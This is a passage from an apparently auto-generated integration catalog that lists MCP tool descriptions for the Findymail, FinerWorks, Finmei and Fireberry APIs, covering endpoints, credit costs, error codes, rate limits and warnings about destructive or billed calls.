{"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/phone. Scopes: api. findymail_post_api_search_reverse_email (write) — Reverse-look up an email address via POST /api/search/reverse-email. Find a business profile from an email address (work email or personal email). Credit usage: - Uses 1 finder credit if a profile is found (without profile data) - Uses 2 finder credits if a profile is found with complete profile data (only if `with_profile` option enabled) Works on work AND personal addresses; `with_profile` adds the profile metadata at the higher price. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT if a profile is found, or 2 when `with_profile` is true and complete profile data is returned; nothing found is free. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/reverse-email. Scopes: api. findymail_post_api_signals_monitors (write) — Create a signal monitor via POST /api/signals/monitors. Creates a new signal monitor for the authenticated user. `name` and `signal_type` are required (measured: `{}` -> 422 naming both); the other fields depend on the type -- `keywords` (max 5) for `keyword_mention`, `post_url` or `profile_url` plus `engagement_types` (`like`, `comment`) for `post_engagement`, and `target_companies` only for `new_hire` and `job_change` (422 on any other type). `webhook_url` must be HTTPS. A monitor with `enrichment_level` set spends finder credits as it enriches the contacts it matches -- a standing cost, not a one-off. Answers 201 with the monitor. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/signals/monitors. Scopes: api. findymail_post_api_technologies (write) — Look up a company's technology stack via POST /api/technologies. Get the technology stack for a company by its domain. Optionally filter by technology name (case-insensitive). Credit cost: 1 Finder credit when technologies are found. Free when no results. `domain` is required; `technologies` narrows the reply to the named stacks, case-insensitively. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT when technologies are found; free when nothing is found. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/technologies. Scopes: api. findymail_post_api_verify (write) — Verify an email address via POST /api/verify. Uses one verifier credit on all attempted verification The reply is `{"email", "verified", "provider"}`; the sealed spec types it text/plain, so the connector returns whatever document Findymail sends rather than assuming JSON. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 VERIFIER CREDIT on every attempted verification, whether or not the address turns out to be valid -- this is the one tool billed per attempt rather than per result. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/verify. Scopes: api. findymail_put_api_intellimatch_exclusion_lists_by_excludeddomainlist_id (write) — Update an exclusion list via PUT /api/intellimatch/exclusion-lists/{excludedDomainList_id}. Updates an exclusion list's name and/or sharing status. Only the list owner can update or change sharing settings. `name` is required on every call even when only `is_shared` changes. Sharing needs a team: 400 {"error":"You must be part of a team to share lists."} otherwise. Only the record's OWNER may change or delete it: a 403 {"message":"This action is unauthorized."} on a list or monitor shared with you by a teammate is Findymail enforcing ownership, not a credential failure. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. PUT /api/v1/findymail/api/intellimatch/exclusion-lists/{excludedDomainList_id}. Scopes: api. findymail_put_api_lists_by_id (write) — Update a contact list via PUT /api/lists/{id}. BOTH `name` and `isShared` are required on every call -- this replaces the two settable fields rather than patching one, so read the list first and resend the name you are not changing. Note the camelCase `isShared` on this route against `is_shared` everywhere else in the API. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. PUT /api/v1/findymail/api/lists/{id}. Scopes: api. ================================================================================ ## FinerWorks URL: https://www.agenticfabriq.com/integrations/finerworks Section: Integrated Tools FinerWorks — 61 MCP tools Provider key: finerworks. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. finerworks_delete_v3_delete_app_key (write, destructive) — Delete App Key via DELETE /v3/delete_app_key. Permanently deletes an app_key from your account. This cannot be undone. This manages FinerWorks app keys, one of which is the credential this connection uses: deleting that key breaks the connection, and switching it between test and live changes whether orders placed through it are billed. DELETE /api/v1/finerworks/v3/delete_app_key. Scopes: api. finerworks_delete_v3_delete_gallery_collection (write, destructive) — Delete Gallery via DELETE /v3/delete_gallery_collection. Delete a personal gallery collection in GeoGalleries.com. DELETE /api/v1/finerworks/v3/delete_gallery_collection. Scopes: api. finerworks_delete_v3_delete_images (write, destructive) — Delete Image Files via DELETE /v3/delete_images. Deletes a list of image files based on their unique id. Note if the image is assigned to the inventory library, this will also remove any virtual inventory products assigned to those images. DELETE /api/v1/finerworks/v3/delete_images. Scopes: api. finerworks_delete_v3_delete_virtual_inventory (write, destructive) — Delete Virtual Inventory via DELETE /v3/delete_virtual_inventory. Deletes virtual inventory products. Note that if any of these items are synced with products on a 3rd party platform, those products will no longer be connected to FinerWorks. DELETE /api/v1/finerworks/v3/delete_virtual_inventory. Scopes: api. finerworks_get_v3_get_company_info (read) — Get Company Info via GET /v3/get_company_info. Use this to get essential information about FinerWorks. GET /api/v1/finerworks/v3/get_company_info. Scopes: api. finerworks_get_v3_get_order (read) — Get Order via GET /v3/get_order. Retrieves a specific orders. GET /api/v1/finerworks/v3/get_order. Scopes: api. finerworks_get_v3_get_payment_tokens (read) — Get User Payment Tokens via GET /v3/get_payment_tokens. Get associated payment tokens of the user that can ONLY be used at FinerWorks for submitting orders. GET /api/v1/finerworks/v3/get_payment_tokens. Scopes: api. finerworks_get_v3_get_shipping_options_ids (read) — Get Shipping Option IDs via GET /v3/get_shipping_options_ids. Lists all available shipping option ids. This does not return shipping rates but provides the ids for various shipping methods that can be used for cross reference purposes. Sites should periodically check and update this data i case new shipping methods or added or deleted. GET /api/v1/finerworks/v3/get_shipping_options_ids. Scopes: api. finerworks_get_v3_get_user (read) — Get User Profile via GET /v3/get_user. Must be authorized to use this endpoint. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. GET /api/v1/finerworks/v3/get_user. Scopes: api. finerworks_get_v3_list_file_selection (read) — List File Selection via GET /v3/list_file_selection. Returns a list of currently selected files. The querystring parameter guid is the master key assigned to all files that are selected. GET /api/v1/finerworks/v3/list_file_selection. Scopes: api. finerworks_get_v3_list_order_status_definitions (read) — Production Status List via GET /v3/list_order_status_definitions. Lists all available production status an order can have once it has completed. Use the id number for reference purposes since the descriptive value can be redundant or change wording in some cases. GET /api/v1/finerworks/v3/list_order_status_definitions. Scopes: api. finerworks_get_v3_test_my_credentials (read) — Test Connection via GET /v3/test_my_credentials. Use this for your first test and make sure your credentials are linked to your FinerWorks account information. GET /api/v1/finerworks/v3/test_my_credentials. Scopes: api. finerworks_post_v3_add_event (write) — Add Event Log via POST /v3/add_event. Creates an event log entry that can be reviewed later for debugging purposes. This endpoint requires special permission to use. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. POST /api/v1/finerworks/v3/add_event. Scopes: api. finerworks_post_v3_add_images (write) — Add Images Files via POST /v3/add_images. Allows the user to add images to a library. POST /api/v1/finerworks/v3/add_images. Scopes: api. finerworks_post_v3_add_update_app_key (write) — Add / Update App Keys via POST /v3/add_update_app_key. Creates a new app_key for your account, or updates an existing app_key's name, description, and live/test mode when an app_key is provided. This manages FinerWorks app keys, one of which is the credential this connection uses: deleting that key breaks the connection, and switching it between test and live changes whether orders placed through it are billed. POST /api/v1/finerworks/v3/add_update_app_key. Scopes: api. finerworks_post_v3_add_update_gallery_collection (write) — Add / Update Personal Galleries via POST /v3/add_update_gallery_collection. Add or update personal gallery collections setup in GeoGalleries.com. POST /api/v1/finerworks/v3/add_update_gallery_collection. Scopes: api. finerworks_post_v3_build_product_code (read) — Build Product Code via POST /v3/build_product_code. Create a product code based on a list of material ids. This is used for the product builder to build a product code that can be added to the cart. Note this endpoint does not check if the materials are active or valid for use, it simply builds a code based on the ids provided. POST /api/v1/finerworks/v3/build_product_code. Scopes: api. finerworks_post_v3_buy_account_credits (write) — Buy Account Credits via POST /v3/buy_account_credits. This does not automatically create an account credit in one's account.This adds it to one's shopping cart for later checkout. Only authorized accounts may use this endpoint. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. POST /api/v1/finerworks/v3/buy_account_credits. Scopes: api. finerworks_post_v3_create_template (write) — Create Template via POST /v3/create_template. Creates a template object from a product. POST /api/v1/finerworks/v3/create_template. Scopes: api. finerworks_post_v3_credit_transaction (write) — Credit Transaction via POST /v3/credit_transaction. Creates a credit transaction record for users in the account credits ledger. Only available to authorized users. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. POST /api/v1/finerworks/v3/credit_transaction. Scopes: api. finerworks_post_v3_delete_pending_orders (write, destructive) — Delete Pending Orders via POST /v3/delete_pending_orders. Removes orders from the temporary storage table. POST /api/v1/finerworks/v3/delete_pending_orders. Scopes: api. finerworks_post_v3_fetch_order_status (read) — Get Order Status via POST /v3/fetch_order_status. Retrieves an order's current "production" status. If an order is not found, no status will be returned. POST /api/v1/finerworks/v3/fetch_order_status. Scopes: api. finerworks_post_v3_find_promo_code (read) — Find Promo Code via POST /v3/find_promo_code. Used to get both gift cards balances and promo details. Only authorized accounts may use this endpoint. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. POST /api/v1/finerworks/v3/find_promo_code. Scopes: api. finerworks_post_v3_frame_builder (read) — Frame Builder via POST /v3/frame_builder. This allows you to submit details to validate a framing option, get pricing and info as well as return base64 data you can use to display your frame package. POST /api/v1/finerworks/v3/frame_builder. Scopes: api. finerworks_post_v3_frame_details (read) — Frame Details via POST /v3/frame_details. List the prints currently setup in your inventory. POST /api/v1/finerworks/v3/frame_details. Scopes: api. finerworks_post_v3_get_prices (read) — Get Price List via POST /v3/get_prices. Returns a list of prices and their breakdown based on a list of product codes or virtual inventory skus. Request as few as 1 or as many as 50 in the body of the request. POST /api/v1/finerworks/v3/get_prices. Scopes: api. finerworks_post_v3_get_product_details (read) — Product Details via POST /v3/get_product_details. Request details and pricing (up to 25 skus at a time) based on sku and quantity. Additional response parameters may be added in the future as requested. POST /api/v1/finerworks/v3/get_product_details. Scopes: api. finerworks_post_v3_list_collections (read) — List Frame Collections via POST /v3/list_collections. List all available frame categories . POST /api/v1/finerworks/v3/list_collections. Scopes: api. finerworks_post_v3_list_event_logs (read) — List Event Logs via POST /v3/list_event_logs. Provides a list of event logs. Requires special permissions to be able to use this endpoint. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. POST /api/v1/finerworks/v3/list_event_logs. Scopes: api. finerworks_post_v3_list_galleries (read) — List Galleries via POST /v3/list_galleries. List galleries setup in GeoGalleries.com. POST /api/v1/finerworks/v3/list_galleries. Scopes: api. finerworks_post_v3_list_gallery_themes (read) — List Themes via POST /v3/list_gallery_themes. Returns a list of themes used in GeoGalleries. POST /api/v1/finerworks/v3/list_gallery_themes. Scopes: api. finerworks_post_v3_list_glazing (read) — Glazing via POST /v3/list_glazing. Lists the available glazing / glass. POST /api/v1/finerworks/v3/list_glazing. Scopes: api. finerworks_post_v3_list_images (read) — List Image Files via POST /v3/list_images. Provides a list of image files you have uploaded and any virtual inventory items assigned to them. POST /api/v1/finerworks/v3/list_images. Scopes: api. finerworks_post_v3_list_invoices (read) — List Invoices via POST /v3/list_invoices. Retrieves a list of invoices by month. POST /api/v1/finerworks/v3/list_invoices. Scopes: api. finerworks_post_v3_list_mats (read) — Matting via POST /v3/list_mats. Lists the available mats. POST /api/v1/finerworks/v3/list_mats. Scopes: api. finerworks_post_v3_list_media_types (read) — List Media Types via POST /v3/list_media_types. Get a list of media types available at FinerWorks. Send `ids: []` for the full list: FinerWorks answers a body without `ids` with HTTP 500, although the field is documented as optional. POST /api/v1/finerworks/v3/list_media_types. Scopes: api. finerworks_post_v3_list_orders (read) — List Orders via POST /v3/list_orders. Retrieves a list of orders. POST /api/v1/finerworks/v3/list_orders. Scopes: api. finerworks_post_v3_list_payments (read) — List payments via POST /v3/list_payments. Retrieves a list of payments by month. POST /api/v1/finerworks/v3/list_payments. Scopes: api. finerworks_post_v3_list_pending_orders (read) — List Pending Orders via POST /v3/list_pending_orders. Returns a list of orders being held in a pending status before being submitted. POST /api/v1/finerworks/v3/list_pending_orders. Scopes: api. finerworks_post_v3_list_printables (read) — List Printables via POST /v3/list_printables. Get a list of printable products available at FinerWorks. POST /api/v1/finerworks/v3/list_printables. Scopes: api. finerworks_post_v3_list_product_types (read) — List Product Types via POST /v3/list_product_types. Get a list of product types available at FinerWorks. POST /api/v1/finerworks/v3/list_product_types. Scopes: api. finerworks_post_v3_list_products (read) — List Products via POST /v3/list_products. Returns a list of products assigned to a particular order or cart. POST /api/v1/finerworks/v3/list_products. Scopes: api. finerworks_post_v3_list_shipping_options_multiple (read) — Shipping Options Multiple via POST /v3/list_shipping_options_multiple. Submit a list of orders to get a list of available shipping options with the required shipping_code needed when submitting an order for each order. This endpoint should be requested under the following conditions. Any changes to the recipient of an order, a product is added or deleted from an order, the quantity of the any product changes. Test vs live is a property of the app_key in the FinerWorks dashboard: with a LIVE app_key an order submitted here is real, produced and billed. Send `validate_only: true` to pre-check without submitting, and set each order's `test_mode: true` unless a real order is intended. POST /api/v1/finerworks/v3/list_shipping_options_multiple. Scopes: api. finerworks_post_v3_list_static_products (read) — List Static Products via POST /v3/list_static_products. Returns a list of non-dynamic products. These are generally accessory products. POST /api/v1/finerworks/v3/list_static_products. Scopes: api. finerworks_post_v3_list_style_types (read) — List Style Types via POST /v3/list_style_types. Get a list of style types available at FinerWorks. Send `ids: []` for the full list: FinerWorks answers a body without `ids` with HTTP 500, although the field is documented as optional. POST /api/v1/finerworks/v3/list_style_types. Scopes: api. finerworks_post_v3_list_virtual_inventory (read) — List Virtual Inventory via POST /v3/list_virtual_inventory. Provides a list of a user's virtual inventory (products) stored in their account with valid product codes. POST /api/v1/finerworks/v3/list_virtual_inventory. Scopes: api. finerworks_post_v3_save_pending_orders (write) — Save Pending Orders via POST /v3/save_pending_orders. Saves pending orders to a temporary storage table. This is useful if you want to make changes before final submission of an order. Test vs live is a property of the app_key in the FinerWorks dashboard: with a LIVE app_key an order submitted here is real, produced and billed. Send `validate_only: true` to pre-check without submitting, and set each order's `test_mode: true` unless a real order is intended. POST /api/v1/finerworks/v3/save_pending_orders. Scopes: api. finerworks_post_v3_submit_note (write) — Create Note via POST /v3/submit_note. Adds a note an order's log. Notes are for back reference purposes only and are NOT used for outside communication instructions to the production department or customer service. POST /api/v1/finerworks/v3/submit_note. Scopes: api. finerworks_post_v3_submit_orders_v2 (write) — Submit Orders V2 via POST /v3/submit_orders_v2. Submits a list of new orders (up to 50 at a time) which includes customer details (sender and recipient) as well as line item details and optional display fields for the packing slip. Once an order is successfully submitted it will return a confirmation (order reference id) and place the order into an accepted status and ultimately in our production queue. Test vs live is a property of the app_key in the FinerWorks dashboard: with a LIVE app_key an order submitted here is real, produced and billed. Send `validate_only: true` to pre-check without submitting, and set each order's `test_mode: true` unless a real order is intended. POST /api/v1/finerworks/v3/submit_orders_v2. Scopes: api. finerworks_post_v3_submit_product (write) — Submit Product via POST /v3/submit_product. Adds a new product to virtual inventory or even to an existing shopping cart. POST /api/v1/finerworks/v3/submit_product. Scopes: api. finerworks_post_v3_validate_product (read) — Validate Product via POST /v3/validate_product. Used to validate a product to make sure the sku or product code is valid. POST /api/v1/finerworks/v3/validate_product. Scopes: api. finerworks_post_v3_validate_recipient_address (read) — Address Validation via POST /v3/validate_recipient_address. Can be used to validate and test an address such as an order's recipient. POST /api/v1/finerworks/v3/validate_recipient_address. Scopes: api. finerworks_put_v3_disconnect_virtual_inventory (write, destructive) — Disconnect Virtual Inventory via PUT /v3/disconnect_virtual_inventory. Updates ALL virtual inventory items by removing the 3rd party platform data specified in the request. To update SINGLE virtual inventory items, use the update_virtual_inventory endpoint instead. PUT /api/v1/finerworks/v3/disconnect_virtual_inventory. Scopes: api. finerworks_put_v3_update_account_credits (write) — Update Credits via PUT /v3/update_account_credits. Used to get and add account credits to an account. Only authorized accounts may use this endpoint. FinerWorks restricts this endpoint to specially authorized accounts: an ordinary account's keys are refused here by permission, not because the credential is wrong. PUT /api/v1/finerworks/v3/update_account_credits. Scopes: api. finerworks_put_v3_update_app_details (write) — Update App Details via PUT /v3/update_app_details. Updates the details assigned to the app_key being used. This manages FinerWorks app keys, one of which is the credential this connection uses: deleting that key breaks the connection, and switching it between test and live changes whether orders placed through it are billed. PUT /api/v1/finerworks/v3/update_app_details. Scopes: api. finerworks_put_v3_update_customer (write) — Update Customer via PUT /v3/update_customer. Updates an existing order's customer (shipping information). PUT /api/v1/finerworks/v3/update_customer. Scopes: api. finerworks_put_v3_update_file_selection (write) — Update File Selection via PUT /v3/update_file_selection. Updates a list of a users current selected image files based on the selection key. PUT /api/v1/finerworks/v3/update_file_selection. Scopes: api. finerworks_put_v3_update_images (write) — Update Image Files via PUT /v3/update_images. Updates a list of image files based on their unique id. Note if the image is assigned to the inventory library, this will also remove any virtual inventory products assigned to those images. PUT /api/v1/finerworks/v3/update_images. Scopes: api. finerworks_put_v3_update_order (write) — Update Status via PUT /v3/update_order. Updates an existing submission order's status (note this is different than the production status). You can change the submission status of an order with the api prior to it being placed in production. Once an order is in production you will need to contact our customer support team to make any further updates. PUT /api/v1/finerworks/v3/update_order. Scopes: api. finerworks_put_v3_update_user (write) — Update User Profile via PUT /v3/update_user. Updates various features of a users account which can be useful. PUT /api/v1/finerworks/v3/update_user. Scopes: api. finerworks_put_v3_update_virtual_inventory (write) — Update Virtual Inventory via PUT /v3/update_virtual_inventory. Updates virtual inventory items within a user's account. PUT /api/v1/finerworks/v3/update_virtual_inventory. Scopes: api. ================================================================================ ## Finmei URL: https://www.agenticfabriq.com/integrations/finmei Section: Integrated Tools Finmei — 9 MCP tools Provider key: finmei. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. finmei_delete_invoices_by_id (write, destructive) — Delete an invoice via DELETE /invoices/{id}. PERMANENTLY DELETE an invoice. There is no recycle bin and no undo in the API, and an invoice is a financial record that the customer's tax authority may require them to retain -- deleting an issued invoice can leave a gap in a numbered series. Prefer issuing a credit invoice. An id this business does not hold answers 404 rather than deleting anything. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. This writes to the customer's real accounting records; Finmei offers no sandbox and no test mode. There is no undo and no recycle bin: Finmei's API offers no way to restore what this call removes. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. DELETE /api/v1/finmei/invoices/{id}. Scopes: api. finmei_get_expenses (read) — List expenses via GET /expenses. List the expenses recorded on this connection's Finmei business, each with its id, seller, total, currency, date and created/updated timestamps. The reply is `{"data": [...], "meta": {...}}` and the `meta` block carries `current_page`, `last_page`, `per_page` (always 50) and `total`. This is where an expense id comes from -- every other expense tool needs one, and there is no way to create an expense through this integration because Finmei requires the bill file to be uploaded with it. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed at 50 and cannot be raised, so reading a large business costs one call per 50 records against that budget. GET /api/v1/finmei/expenses. Scopes: api. finmei_get_expenses_by_id (read) — Get an expense via GET /expenses/{id}. Fetch one expense by its id. An id this business does not hold answers 404 with `{"message": "No query results for model [App\Models\Expense] "}` -- and so does a malformed id, so a 404 here means 'not in THIS business', which on Finmei includes an expense that belongs to another business on the same account. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/finmei/expenses/{id}. Scopes: api. finmei_get_invoices (read) — List invoices via GET /invoices. List the invoices issued by this connection's Finmei business, with the same `{"data", "meta"}` envelope and the same fixed page size of 50 as the expense list. This is where an invoice id comes from. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed at 50 and cannot be raised, so reading a large business costs one call per 50 records against that budget. GET /api/v1/finmei/invoices. Scopes: api. finmei_get_invoices_by_id (read) — Get an invoice via GET /invoices/{id}. Fetch one invoice by its id, with its buyer, seller, line items, payment options and totals. An unknown or malformed id answers 404 `No query results for model [App\Models\Invoice] `; an invoice belonging to another business on the same Finmei account is not visible to this connection and answers the same 404. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/finmei/invoices/{id}. Scopes: api. finmei_get_profile (read) — Get the connected business profile via GET /profile. Return the business this connection's API token is assigned to: its `business_id`, `business_title`, `business_type` and address, plus `company_name`/`company_code`/`vat_code` for a company or `first_name`/`last_name`/`individual_tax_id` for an individual. A FINMEI TOKEN IS SCOPED TO ONE BUSINESS and cannot read any other on the same account, so this is the tool that says which set of books a connection is actually pointed at -- call it first when an account holds several businesses. It is also this integration's credential probe: Finmei checks the token here before it is stored. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/finmei/profile. Scopes: api. finmei_post_invoices (write) — Create an invoice via POST /invoices. Issue a new invoice. `type`, `invoice_date` (YYYY-MM-DD), `series`, `currency` (uppercase ISO 4217), `buyer` (with `buyer.type` set to `company` or `individual`) and `products` are required; each product line needs `name`, `units`, `quantity` and `price`, and `vat_percentage` as well when the seller has a VAT code and the type is one of the vat_invoice forms. THE SELLER SIDE IS WHERE THIS CALL FAILS: set `use_default_seller_info` to true to bill under the business's own saved details, or supply the whole `seller` object -- exactly one of the two, never neither and never both. THIS ISSUES A REAL FINANCIAL DOCUMENT in the customer's accounts under the next number in the series you name, so confirm the series and the numbering before calling it rather than after. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. This writes to the customer's real accounting records; Finmei offers no sandbox and no test mode. Finmei answers 422 with a per-field `errors` object naming exactly what is wrong, and it validates the body BEFORE looking the record up -- so a 422 is about the body and says nothing about whether the id exists. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/finmei/invoices. Scopes: api. finmei_put_expenses_by_id (write) — Update an expense via PUT /expenses/{id}. Update an expense's form fields: `seller`, `total`, `currency` and `date`. ALL FOUR ARE REQUIRED ON EVERY CALL -- this is a whole-record replacement, not a patch, so read the expense first and send back every field including the ones you are not changing, or Finmei answers 422 for the ones you left out. The bill FILE is not touched by this call and cannot be changed through this integration. Validation runs before the record is looked up, so an incomplete body answers 422 even when the id does not exist. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. This writes to the customer's real accounting records; Finmei offers no sandbox and no test mode. THIS IS A REPLACEMENT, NOT A PATCH: every field the record should keep has to be resent, so read the record first and send the whole thing back with your edits in it. Finmei answers 422 with a per-field `errors` object naming exactly what is wrong, and it validates the body BEFORE looking the record up -- so a 422 is about the body and says nothing about whether the id exists. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. PUT /api/v1/finmei/expenses/{id}. Scopes: api. finmei_put_invoices_by_id (write) — Update an invoice via PUT /invoices/{id}. Replace an existing invoice. The body is the SAME shape as Create an invoice and carries the same requirements -- this is a full replacement, not a patch, so anything you omit is dropped rather than kept. Read the invoice first and send the whole document back with your edits in it. Amending an issued invoice is an accounting act in most jurisdictions; a credit invoice (`credit_invoice` / `credit_vat_invoice`) is usually the correct instrument rather than rewriting the original. Each Finmei API token is assigned to a single BUSINESS and cannot reach any other business on the same account, so everything this tool returns or changes belongs to this connection's one business. This writes to the customer's real accounting records; Finmei offers no sandbox and no test mode. THIS IS A REPLACEMENT, NOT A PATCH: every field the record should keep has to be resent, so read the record first and send the whole thing back with your edits in it. Finmei answers 422 with a per-field `errors` object naming exactly what is wrong, and it validates the body BEFORE looking the record up -- so a 422 is about the body and says nothing about whether the id exists. Finmei allows 60 requests per minute per connected token and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. PUT /api/v1/finmei/invoices/{id}. Scopes: api. ================================================================================ ## Fireberry URL: https://www.agenticfabriq.com/integrations/fireberry Section: Integrated Tools Fireberry — 243 MCP tools Provider key: fireberry. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fireberry_delete_api_record_58_by_id (write, destructive) — Delete a custom object via DELETE /api/record/58/{id} DELETE /api/v1/fireberry/api/record/58/{id}. Scopes: api. fireberry_delete_api_record_account_by_id (write, destructive) — Delete an account via DELETE /api/record/account/{id} DELETE /api/v1/fireberry/api/record/account/{id}. Scopes: api. fireberry_delete_api_record_accountproduct_by_id (write, destructive) — Delete an asset via DELETE /api/record/accountproduct/{id} DELETE /api/v1/fireberry/api/record/accountproduct/{id}. Scopes: api. fireberry_delete_api_record_activity_by_id (write, destructive) — Delete a meeting via DELETE /api/record/activity/{id} DELETE /api/v1/fireberry/api/record/activity/{id}. Scopes: api. fireberry_delete_api_record_activitylog_by_id (write, destructive) — Delete an activity log via 